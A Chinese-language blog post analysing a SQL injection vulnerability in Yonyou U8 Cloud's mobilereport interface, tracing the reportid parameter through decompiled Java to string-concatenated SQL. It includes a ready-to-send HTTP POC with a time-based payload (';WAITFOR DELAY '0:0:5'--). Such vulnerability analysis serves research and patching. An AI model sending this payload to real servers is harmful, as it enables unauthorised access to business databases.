用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析

2025-03-27 15 0

前言

好久没写漏洞分析文章了,这里就拿一个没有完全公开的用友U8 Cloud漏洞分析来展开话题吧

漏洞全称是:用友 U8cloud所有版本移动报表mobilereport接口存在SQL注入漏洞

最早出现在23年的9月份,当时CNVD接收到报告,获知漏洞信息:

CNVD-C-2023-655149用友u8 cloud存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据。具体漏洞细节没有公开,需要自己对照源码进行分析。

用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析插图

漏洞分析

开门见山,该SQL注入漏洞利用的POC如下,这里就简单说下用友U8 Cloud的请求/servlet前缀的都经过NCInvokerServlet处理的,方法主要功能是获得url路径后,如果是以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用,所以这里才能调用到对应方法

POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.ReportDetailDataQuery HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{"reportid":"';WAITFOR DELAY '0:0:5'--"}

咱们来分析下,定位到方法ReportDetailDataQuery

用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析插图1

主要代码如下,doAction方法直接接收请求执行

public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String usercode = request.getParameter("usercode");
    usercode = "18701014496";
    String formPK = request.getParameter("reportid");
    String accJson = HttpRequestUtil.acceptJSON(request);
    Gson gson = new Gson();
    Map requestMap = (Map)gson.fromJson(accJson, Map.class);
    formPK = (String)requestMap.get("reportid");
    IReportDataQuery dataQuery = (IReportDataQuery)NCLocator.getInstance().lookup(IReportDataQuery.class);
    Map<String, Object> rettotalMap = new HashMap<>();
    try {
      rettotalMap.put("success", Boolean.valueOf(true));
      rettotalMap.put("message", ");
      ReportDataVO datavo = dataQuery.queryVO(formPK);
      Map<String, Object> retMap = getRetObj(datavo);
      rettotalMap.put("data", retMap);
    } catch (BusinessException e) {
      AppDebug.debug((Throwable)e);
      e.printStackTrace();
      rettotalMap.put("success", Boolean.valueOf(false));
      rettotalMap.put("message", e.getMessage());
    } 
    String retjson = gson.toJson(rettotalMap);
    response.setContentType("text/html;charset=utf-8");
    response.getWriter().print(retjson);
    response.flushBuffer();
    response.getWriter().close();
  }

接收请求后,指定usercode为18701014496,指定reportid为用户传参的值

追踪reportid传参,传入下面方法中,咱们继续追踪

dataQuery.queryVO(formPK)

来到方法queryVO中,代码如下

public class ReportDataQueryImpl implements IReportDataQuery {
  public ReportDataVO queryVO(String formid) throws BusinessException {
    IMobileQueryService formService = (IMobileQueryService)NCLocator.getInstance().lookup(IMobileQueryService.class);
    ReportFormVO parentvo = formService.queryVOByPk(formid);
    IReportMeasureService measureService = (IReportMeasureService)NCLocator.getInstance().lookup(IReportMeasureService.class);
    ReportMeasureVO[] measureVOs = measureService.queryMeasureVOs(formid);
    ReportDataVO dataVO = new ReportDataVO();
    dataVO.setParentVO(parentvo);
    dataVO.setChildVOs(measureVOs);
    return dataVO;
  }

用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析插图2

此处reportid当作formid传参,又传入了对应的queryVOByPk的方法当中

来到queryVOByPk方法,咱们可以看到原来参数是直接拼接到SQL语句当中

用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析插图3

关键代码为

String sql = " reportformid = '" + reportformid + "'";

因此这里可以直接闭合reportformid参数,使用';闭合完成,执行其他的SQL语句

poc就为

';WAITFOR DELAY '0:0:5'--

通过参数reportid进行传参,咱们来验证下

用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析插图4

请求成功,延时5秒验证存在漏洞


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

AI Agent:功能、架构与安全风险
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
DrayTek再现未授权RCE漏洞:CVE-2024-12987复现分析
Mozilla紧急修复Firefox高危漏洞 与Chrome零日漏洞原理相似
数据跨境 | 韩国数据安全与跨境合规实践
Mage-AI 不安全的默认身份验证设置导致0day远程命令执行漏洞(CVE-2025-2129)

发布评论